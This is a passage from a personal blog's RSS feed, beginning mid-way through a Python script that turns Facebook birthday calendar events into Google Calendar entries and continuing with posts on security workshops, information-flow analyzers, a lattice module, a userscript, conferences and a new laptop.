class="li1"><div class="de1"><span class="st0">METHOD:PUBLISH</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-CALNAME:</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-TIMEZONE:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">X-WR-CALDESC:</span></div></li><li class="li1"><div class="de1"><span class="st0">BEGIN:VTIMEZONE</span></div></li><li class="li1"><div class="de1"><span class="st0">TZID:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">X-LIC-LOCATION:America/Argentina/Buenos_Aires</span></div></li><li class="li1"><div class="de1"><span class="st0">BEGIN:STANDARD</span></div></li><li class="li1"><div class="de1"><span class="st0">TZOFFSETFROM:-0300</span></div></li><li class="li1"><div class="de1"><span class="st0">TZOFFSETTO:-0300</span></div></li><li class="li1"><div class="de1"><span class="st0">TZNAME:ART</span></div></li><li class="li1"><div class="de1"><span class="st0">DTSTART:19700101T000000</span></div></li><li class="li1"><div class="de1"><span class="st0">END:STANDARD</span></div></li><li class="li1"><div class="de1"><span class="st0">END:VTIMEZONE'</span><span class="st0">''</span></div></li><li class="li1"><div class="de1">day=<span class="kw3">datetime</span>.<span class="me1">timedelta</span><span class="br0">&#40;</span>1<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">fd = <span class="kw2">open</span><span class="br0">&#40;</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span>1<span class="br0">&#93;</span> <span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">    mylist=<span class="kw2">open</span><span class="br0">&#40;</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span> <span class="br0">&#41;</span>.<span class="me1">readlines</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    nolist=<span class="kw2">False</span></div></li><li class="li1"><div class="de1"><span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">    nolist=<span class="kw2">True</span></div></li><li class="li1"><div class="de1">va = <span class="kw2">False</span></div></li><li class="li1"><div class="de1">person=<span class="st0">&quot;&quot;</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> line <span class="kw1">in</span> fd.<span class="me1">readlines</span><span class="br0">&#40;</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="st0">'BEGIN:VEVENT'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person=<span class="st0">'BEGIN:VEVENT<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'DTSTART'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        dateS=line.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">':'</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'T'</span><span class="br0">&#41;</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        date=<span class="kw3">datetime</span>.<span class="me1">date</span><span class="br0">&#40;</span><span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span>0:4<span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span>4:6<span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span><span class="nu0">6</span>:<span class="nu0">8</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        tomorrow=date+day</div></li><li class="li1"><div class="de1">        person+=<span class="st0">'DESCRIPTION:Imported from Facebook<span class="es0">\n</span>STATUS:CONFIRMED<span class="es0">\n</span>DTSTART;VALUE=DATE:%s<span class="es0">\n</span>DTEND;VALUE=DATE:%s<span class="es0">\n</span>TRANSP:TRANSPARENT<span class="es0">\n</span>'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>date.<span class="me1">strftime</span><span class="br0">&#40;</span><span class="st0">&quot;%Y%m%d&quot;</span><span class="br0">&#41;</span>,tomorrow.<span class="me1">strftime</span><span class="br0">&#40;</span><span class="st0">&quot;%Y%m%d&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'END:VEVENT'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person+=<span class="st0">'END:VEVENT<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> va:</div></li><li class="li1"><div class="de1">            <span class="kw1">print</span> person,</div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'SUMMARY'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person+=line</div></li><li class="li1"><div class="de1">        va=nolist <span class="kw1">or</span> line <span class="kw1">in</span> mylist</div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'DURATION'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        <span class="kw1">pass</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        person+=line</div></li><li class="li1"><div class="de1"><span class="kw1">print</span> <span class="st0">'END:VCALENDAR'</span></div></li></ol></pre></div></div><br />
El cual convierte los eventos de <em>facebook</em> en eventos <em>lindos</em>. Se ejecuta así:<br />
<code>./fb2gc.py facebook.csv lista.txt > miscumples.csv<br />
</code> El parámetro <tt>lista.txt</tt> es optativo, si pasaste por el Paso 3.</p>
<h3>Paso 5</h3>
<p>El archivo generado se pueden importar en Google Calendar, en un calendario existente.<br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays3.png" alt="" /><br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays4.png" alt="" /><br />
Y ahora, tengo agendados los cumpleaños de forma mucho más agradable.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/fb2gc/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>¡Nos vemos en España!</title>
		<link>http://www.lucianobello.com.ar/post/%c2%a1nos-vemos-en-espana/</link>
		<comments>http://www.lucianobello.com.ar/post/%c2%a1nos-vemos-en-espana/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 02:07:15 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[ego]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1462</guid>
		<description><![CDATA[Gracias los grandes esfuerzos de Diego el gallego y Chema josemaricariño visitaré España en algo menos de un mes. Las excusas son las jornadas de seguridad organizadas por GSIC y los labs de la RootedCon. Así que vamos por partes. Qué: Daré un taller sobre seguridad en sistemas Linux Dónde: En el Campus de Elviña [...]]]></description>
			<content:encoded><![CDATA[<p>Gracias los grandes esfuerzos de <a href="http://www.facebook.com/ferreiroval">Diego <em>el gallego</em></a> y <a href="http://www.elladodelmal.com/">Chema <em>josemaricariño</em></a> visitaré España en algo menos de un mes. Las excusas son las <a href="http://www.gsicoruna.com/jornadas/">jornadas de seguridad</a> organizadas por <a href="http://gsicoruna.com">GSIC</a> y los <a href="http://labs.rootedcon.es/">labs de la RootedCon</a>. Así que vamos por partes.<br />
<center><img src="http://gsicoruna.com/images/logo2.png"/></center></p>
<p><strong>Qué:</strong> Daré un taller sobre seguridad en sistemas Linux<br />
<strong>Dónde:</strong> En el Campus de Elviña de la Facultad de Informática de A Coruña.<br />
<strong>Cuándo:</strong> Las jornadas son entre el 24 y el 26 de Febrero.<br />
<strong>Qué hay que hacer para asistir:</strong> La asistencia es gratuita con previa inscripción, la cual aún no está abierta pero lo estará pronto (posiblemente sea anunciado en <a href="https://twitter.com/ficsecurity">@ficsecurity</a>). Hay unas 25 plazas disponibles.<br />
El taller será netamente práctico y será de unas 5 horas, por lo que tengo entendido. Trataremos temas de seguridad básica, como el acceso discrecional, la administración de recursos y PAM. Está orientado a iniciados en la administración de sistemas Linux-like.<br />
<center><br />
<img src="http://labs.rootedcon.es/_/rsrc/1290961043928/config/customLogo.gif" /><br />
</center></p>
<p><strong>Qué:</strong> Haré una introducción a la criptografía en uno de los Labs, previos a <a href="http://www.rootedcon.es/">RootedCon</a><br />
<strong>Dónde:</strong> En las <a href="http://labs.rootedcon.es/localizacion/instalaciones-madrid-on-rails">Instalaciones Madrid On Rails</a>, en Madrid.<br />
<strong>Cuándo:</strong> Los Labs son entre 28 de Febrero y el 2 de Marzo. El mío en particular será durante el 1º.<br />
<strong>Qué hay que hacer para asistir:</strong> La asistencia requiere <a href="http://labs.rootedcon.es/registro">inscripción previa</a> y tienen un coste de 200 € + IVA. Hay 12 plazas disponibles.<br />
Se puede acceder al temario <a href="http://labs.rootedcon.es/labs-y-trainers/luciano-bello-introduccion-domestica-a-la-criptografia">aquí</a>, aunque puede que dé una incorrecta impresión. En el momento que lo escribí hice demasiado foco en la parte matemática (<a href="http://www.youtube.com/watch?v=d3r96KstZLU">aburrido!!</a>). Si bien aún lo estoy preparando, el cursillo tendrá un foco mucho más programático. El objetivo es la mejora de decisiones tecnológicas cuando impliquen criptografía. Haremos prácticas en OpenSSL, SSH y PGP.</p>
<p>¿Nos vemos allí?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/%c2%a1nos-vemos-en-espana/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>secure information flow analysis: my first steps</title>
		<link>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/</link>
		<comments>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/#comments</comments>
		<pubDate>Fri, 07 Jan 2011 23:40:06 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1451</guid>
		<description><![CDATA[During the last months and have been reading a lot about information flow analysis, with the remarkable Eduardo Bonelli&#8216;s guidance. Some months ago, as an exercise, I wrote two analyzers for a really short command set of Python (while, if and assign). Before remove that directory, it occurred to me that may exists a remote [...]]]></description>
			<content:encoded><![CDATA[<p>During the last months and have been reading a lot about information flow analysis, with the remarkable <a href="http://www.informatik.uni-trier.de/~ley/db/indices/a-tree/b/Bonelli:Eduardo.html">Eduardo Bonelli</a>&#8216;s guidance.</p>
<p>Some months ago, as an exercise, I wrote two analyzers for a really short command set of Python (<tt>while</tt>, <tt>if</tt> and <tt>assign</tt>). Before remove that directory, it occurred to me that may exists a remote possibility that someone might find it interesting. So here it is, with a quick and dirty introduction to secure information flow.</p>
<p>The goal, in short words, is to avoid that variables tagged as secret (high confidential level) doesn&#8217;t leak to public variables (low confidential level). This may happen in two ways:
<ul>
<li>Explicit: A high variable is assigned to a low variable</li>
<p><code>public:=secret</code></p>
<li>Implicit: A low variable content depends on the content of a high variable</li>
<p><code>if secret == true<br />
     then public:=true<br />
     else public:=false</code></ul>
<p>If there is no leak, we said that the code satisfies <strong>non-interference</strong> (<a href="https://secure.wikimedia.org/wikipedia/en/wiki/Non-interference_%28security%29">wikipedia link</a>). You can learn more about secure information flow analysis <a href="https://encrypted.google.com/search?q=secure+information+flow+analysi">in the web</a>. In my humble opinion, <a href="https://users.cs.fiu.edu/~smithg/papers/sif06.pdf">this</a> is a good introduction.</p>
<p>A typical way (certainly not the only one) to detect these leaks is with type systems. This was the approach in both analyzers. The first one is a sort of  an implementation of a <a href="http://www.lucianobello.com.ar/pif/volpano.ps">fundation paper, by Volpano et.al.</a>. I made an algorithm version (probably wrong) of the typing rules exposed in the paper. The code is <a href="http://www.lucianobello.com.ar/pif/denning-style.py">here</a>. This type of analyzers are called Denning-style, because Denning and Denning introduced those concepts in a <a href="http://www.lucianobello.com.ar/pif/denning-denning.pdf">1977 paper</a>.</p>
<p>The second analyzer (the code is <a href="http://www.lucianobello.com.ar/pif/huntsands.py">here</a>) is based on the formalism presented by Hunt and Sands in <a href="http://www.lucianobello.com.ar/pif/huntsands.pdf">this paper</a>. It&#8217;s a dynamic analyzer (Denning-style analyzers are static), which means that the non-interference can be broken in subprograms and still be good as a whole. This may be a little tricky. For example, this code is secure (the leak was overwritten with a 0) even when a subprogram (without the last line) is insecure:<br />
<code>public:=secret<br />
public:=0<br />
</code><br />
Anyway, that&#8217;s all for now. The analyzers are written in Python, using the <a href="http://www.python.org/doc//current/library/ast.html">Abstract Syntax Trees module</a> and <a href="https://code.google.com/p/python-lattice/">python-lattice</a> (yes, this is what that stupid library is for). If you want to play more, here is a <a href="http://www.lucianobello.com.ar/pif/pif.tar.gz">tarball with the code, the papers and few examples to analyze</a>.
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>operating elements of a finite lattice is now easy(?)</title>
		<link>http://www.lucianobello.com.ar/post/lattice/</link>
		<comments>http://www.lucianobello.com.ar/post/lattice/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 01:13:28 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1444</guid>
		<description><![CDATA[In the context of my recent readings about Information Flow analysis, I wrote a little (tiny) Python module to operate elements of a finite lattice. Here is the code and usage tutorial. Comments are welcome. Patches to my broken English in the main page are very welcome.]]></description>
			<content:encoded><![CDATA[<p><img src="http://image.absoluteastronomy.com/images/encyclopediaimages/l/la/lattice_of_the_divisibility_of_60.svg.png" align="right" />In the context of my recent readings about Information Flow analysis, I wrote a little (tiny) Python module to operate elements of a finite lattice. Here is <a href="https://code.google.com/p/python-lattice/">the code and usage tutorial</a>. Comments are welcome. Patches to my broken English in the main page are <strong>very</strong> welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/lattice/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>my first UserScript</title>
		<link>http://www.lucianobello.com.ar/post/my-first-userscript/</link>
		<comments>http://www.lucianobello.com.ar/post/my-first-userscript/#comments</comments>
		<pubDate>Thu, 25 Nov 2010 13:44:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1440</guid>
		<description><![CDATA[Gracias a Germán Osella Massa y su charla Userscripts &#8211; ¡Porque la web no siempre tiene que ser como es! impartida en las 6ºJSL de Junín conocí más acerca de Greasemonkey. Esta simpática extensión de Firefox permite pos-procesar, JavaScript mediante, una página web. Después de pasar largos ratos recorriendo el repositorio de scripts, instalando y [...]]]></description>
			<content:encoded><![CDATA[<p>Gracias a Germán Osella Massa y su charla <i><a href="http://prezi.com/g1dkegcwstll/userscripts/">Userscripts &#8211; ¡Porque la web no siempre tiene que ser como es!</a></i> impartida en las <a href="http://jornadassl.agora.unnoba.edu.ar/index.php">6ºJSL de Junín</a> conocí más acerca de <a href="https://addons.mozilla.org/en-US/firefox/addon/748/">Greasemonkey</a>. Esta simpática extensión de Firefox permite pos-procesar, JavaScript mediante, una página web.</p>
<p>Después de pasar largos ratos recorriendo el repositorio de scripts, instalando y probando, quise escribir mis propios scripts. Mi primera idea era un reproductor embebido de archivos wav para Gmail, dado que necesito escuchar los mensajes de mi contestador automático ahí. Como para primer proyecto <a href="http://wiki.greasespot.net/Gmail">resultó un poco complicado</a>, me puse un objetivo más modesto. Así fue como publiqué <a href="http://userscripts.org/scripts/show/91182">mi primer UserScript</a>, un previewer de audio para Google Docs. Dado que no suelo escribir mucho JavaScript, comentarios y parches son bienvenidos.<br />
<img src="https://s3.amazonaws.com/uso_ss/12320/large.png?1290614188" alt="" /></p>
<p><strong>UPDATE Dec 8, 2010 @ 18:43 ART</strong>: En vez de <em>forkear</em> el proyecto de <a href="http://userscripts.org/users/leith">Leith Caldwell</a>, decidimos hacer un merge en el suyo, con más tradición. Así que ahora el script está disponible <a href="http://userscripts.org/scripts/show/87350">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/my-first-userscript/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>eventé, eventando y eventaré</title>
		<link>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/</link>
		<comments>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 14:47:58 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1431</guid>
		<description><![CDATA[He estado (y lo estaré) de evento en evento. Así que acá va un pequeño resumen. Tal vez a alguien le sea útil o pueda lamentarse de no haber ido a aquellos que ya ocurrieron. Si tenés pensado ir a alguno en donde nos encontremos, no dudes en inscribirme para tomar una cerveza. En el [...]]]></description>
			<content:encoded><![CDATA[<p>He estado (y lo estaré) de evento en evento. Así que acá va un pequeño resumen. Tal vez a alguien le sea útil o pueda lamentarse de no haber ido a aquellos que ya ocurrieron. Si tenés pensado ir a alguno en donde nos encontremos, no dudes en inscribirme para tomar una cerveza.</p>
<p>En el pasado:</p>
<ul>
<li><a href="http://ar.pycon.org/2010/">PyCon Argentina 2010</a>: En Córdoba, 15 y 16 de Octubre. Es un evento cada vez más disfrutable. En particular, aprendí mucho de <a href="http://ar.pycon.org/2010/conference/schedule/event/59/">AMQP</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/78/">DBus</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/49/">sistemas de tipos</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/79/">defragmentación de memoria</a> y <a href="http://ar.pycon.org/2010/conference/schedule/event/73/">otras yerbas</a>.</li>
<li><a href="http://www.cacic2010.edu.ar">XVI Congreso Argentino de Ciencias de la Computación (CACIC 2010)</a>:  En Buenos Aires y Morón, del 18 al 22 de Octubre. Presenté <a href="http://www.citefa.gov.ar/si6/descargas/keystroke-dataset.pdf">mi primer paper</a> en el workshop arquitectura, redes y sistemas operativos (WARSO).</li>
</ul>
<p>En el futuro:</p>
<ul>
<li><a href="http://www.jornadasregionales.org/">10º Jornadas Regionales de Software Libre</a>: En San Luis, el 28, 29 y 30 de Octubre. Este año no podré asistir, pero se corre la bola de que va a estar muy muy buena.</li>
<li><a href="https://sites.google.com/site/devfest2010arg/">Google DevFest 2010 Argentina</a>: En Buenos Aires, 1 y 2 de Noviembre. Si bien la inscripción ya debería haber terminado, yo lo hice fuera de termino y parece que tengo la confirmación. El procedimiento requiere dar respuesta <a href="https://developerquiz.appspot.com/">un breve quiz</a>.</li>
<li><a href="http://www.bsdday.org.ar/">BSDday Argentina 2010</a> (una web muy geek): En Buenos Aires, 5 y 6 de Noviembre. Me inscribí hace meses y no voy a poder ir (por la razón que se comenta en el siguiente item). El año paso la pasé muy bien y este año las charlas realmente prometen.</li>
<p><a href="http://jornadassl.agora.unnoba.edu.ar/"><img style="margin: 2px;" src="http://jornadassl.agora.unnoba.edu.ar/banners/banner3.jpg" alt="" width="109" height="79" align="right" /></a></p>
<li><a href="http://jornadassl.agora.unnoba.edu.ar/">6º Jornadas de Software Libre</a>: En Junín, 5 y 6 de Noviembre. Hablaré <a href="http://jornadassl.agora.unnoba.edu.ar/disertantes.php#lbello">Linux Capabilities y Hardening</a>. Muchísimas gracias a los organizadores por invitarme. El programa se ve muy interesante y será una excelente oportunidad para reencontrarme con amigos y visitar la ciudad.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>the king is obsolete-ish. long live the king</title>
		<link>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/</link>
		<comments>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 18:48:05 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1396</guid>
		<description><![CDATA[Ya hace un par de semanas de que tuve la oportunidad de cambiar mi Thinkpad X60 (1706-8DU) por una Thinkpad X200 (7454-RF2), la que ya se encuentra completamente funcional y migrada. La instalación fue relativamente sencilla y la velocidad de computo con su antecesora es notable (aunque mi madre opine que ambas computadoras son iguales). [...]]]></description>
			<content:encoded><![CDATA[<p>Ya hace un par de semanas de que tuve la oportunidad de cambiar mi <a href="http://www.reviewgist.com/compare/lenovo-thinkpad-x60-17068du">Thinkpad X60 (1706-8DU)</a> por una <a href="http://outlet.lenovo.com/laptops/thinkpad/x-series/7454rf2.html ">Thinkpad X200 (7454-RF2)</a>, la que ya se encuentra completamente funcional y migrada. La instalación fue relativamente sencilla y la velocidad de computo con su antecesora es notable (aunque mi madre opine que ambas computadoras son <em>iguales</em>).<br />
A continuación el correspondiente pase de mando:<br />
<center><a href="/blog/laptopsX2.JPG"><img src="/blog/_laptopsX2.JPG" alt="" /></a></center><br />
Mi aún-no-tan-vieja laptop ha tenido una jubilación algo prematura y está a la búsqueda desesperada de un entusiasta geek a quien servir. Si estas interesado, visita <a href="http://www.lucianobello.com.ar/vendo-x60/">www.lucianobello.com.ar/vendo-x60/</a> para más detalles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DebConf10</title>
		<link>http://www.lucianobello.com.ar/post/debconf10/</link>
		<comments>http://www.lucianobello.com.ar/post/debconf10/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 16:59:38 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1378</guid>
		<description><![CDATA[Este es un delayed post, dado que DebConf10 New York City terminó hace 3 días. Aunque más tarde de lo esperado, no quería dejar pasar la oportunidad de comentar lo bien que la pasé. Siempre es agradable encontrarse con amigos. Si bien pude dedicar mucho tiempo al security team (generé 3 nuevos DSA aunque, de [...]]]></description>
			<content:encoded><![CDATA[<p>Este es un delayed post, dado que <a href="http://debconf10.debconf.org/">DebConf10 New York City</a> terminó hace 3 días. Aunque más tarde de lo esperado, no quería dejar pasar la oportunidad de comentar lo bien que la pasé. Siempre es agradable encontrarse <a href="http://wiki.debconf.org/wiki/DebConf10/GroupPhoto">con amigos</a>.<br />
Si bien pude dedicar mucho tiempo al security team (generé 3 nuevos <a href="http://www.debian.org/security/2010/">DSA</a> aunque, de momento, se ha publicado <a href="http://www.debian.org/security/2010/dsa-2090">uno solo</a>), me quedaron muchísimas cosas pendientes por hacer. Además tengo muchas nuevas ideas que me gustaría concretar durante el próximo año.</p>
<p>Entre los pendientes está el de subir fotos, para variar. Así que stay tunned! Para los ansiosos, hay publicadas fotos de otros asistentes <a href="http://www.flickr.com/photos/tags/debconf10/">aquí</a>. También están disponibles las <a href="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/high/">versiones preliminares de las charlas</a>, donde se me puede ver dado una Lightning Talk, acerca de un prototipo para documentar workflows que se me ocurrió hace unos meses (minuto 10:40 de <a href="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/low/1580_1580_Lightning_Talks.ogv">este video</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debconf10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/low/1580_1580_Lightning_Talks.ogv" length="112459087" type="video/ogg" />
		</item>
		<item>
		<title>/home/duijvestijn</title>
		<link>http://www.lucianobello.com.ar/post/homeduijvestijnen/</link>
		<comments>http://www.lucianobello.com.ar/post/homeduijvestijnen/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:17:45 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1368</guid>
		<description><![CDATA[I have a new guest in my apartment. Give a warm welcome to the Adrianus Johannes Wilhelmus Duijvestijn&#8216;s spirit. Thanks a lot to Bartu and Rezlaj, who carried out the necessary seance that make this possible. The complete photo set is here. If you do not have the slightest idea of what I&#8217;m talking about, [...]]]></description>
			<content:encoded><![CDATA[<p>I have a new guest in my apartment. Give a warm welcome to the <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a>&#8216;s spirit.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn1.jpg"/></center></p>
<p>Thanks a lot to <a href="http://www.piumacharles.com/">Bartu and Rezlaj</a>, who carried out the necessary seance that make this possible.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn2.jpg"/></center></p>
<p>The complete photo set is <a href="/fotos/duijvestijn/">here</a>. If you do not have the slightest idea of what I&#8217;m talking about, take a look to <a href="http://en.wikipedia.org/wiki/Squaring_the_square#Simple_squared_squares">Wikipedia</a> or <a href="/post/diseccion_perfecta/">my previous post (Spanish only)</a>.</p>
<p><small>(esta entrada también <a href="/post/homeduijvestijnes/">está disponible en Español</a>)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/homeduijvestijnen/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>/home/duijvestijn</title>
		<link>http://www.lucianobello.com.ar/post/homeduijvestijnes/</link>
		<comments>http://www.lucianobello.com.ar/post/homeduijvestijnes/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:17:03 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1373</guid>
		<description><![CDATA[Tengo un nuevo huésped en mi departamento. Denle una cálida bienvenida al espíritu de Adrianus Johannes Wilhelmus Duijvestijn. Muchísimas gracias a Bartu y a Rezlaj, quienes llevaron a cabo la sesión de espiritismo necesaria para hacer esto posible. Todas las fotos están disponibles aquí. Si no tienes la menor idea de a qué se refiere [...]]]></description>
			<content:encoded><![CDATA[<p>Tengo un nuevo huésped en mi departamento. Denle una cálida bienvenida al espíritu de <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a>.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn1.jpg"/></center></p>
<p>Muchísimas gracias a <a href="http://www.piumacharles.com/">Bartu y a Rezlaj</a>, quienes llevaron a cabo la sesión de espiritismo necesaria para hacer esto posible.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn2.jpg"/></center></p>
<p>Todas las fotos están disponibles <a href="/fotos/duijvestijn/">aquí</a>. Si no tienes la menor idea de a qué se refiere esto, échale un ojo a la <a href="http://en.wikipedia.org/wiki/Squaring_the_square#Simple_squared_squares">Wikipedia (solo en inglés)</a> o a <a href="/post/diseccion_perfecta/">mi entrada anterior</a>.</p>
<p><small>(this post is <a href="/post/homeduijvestijnes/">available in English too</a>)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/homeduijvestijnes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>disección perfecta de polígonos for dummies</title>
		<link>http://www.lucianobello.com.ar/post/diseccion_perfecta/</link>
		<comments>http://www.lucianobello.com.ar/post/diseccion_perfecta/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 19:23:29 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
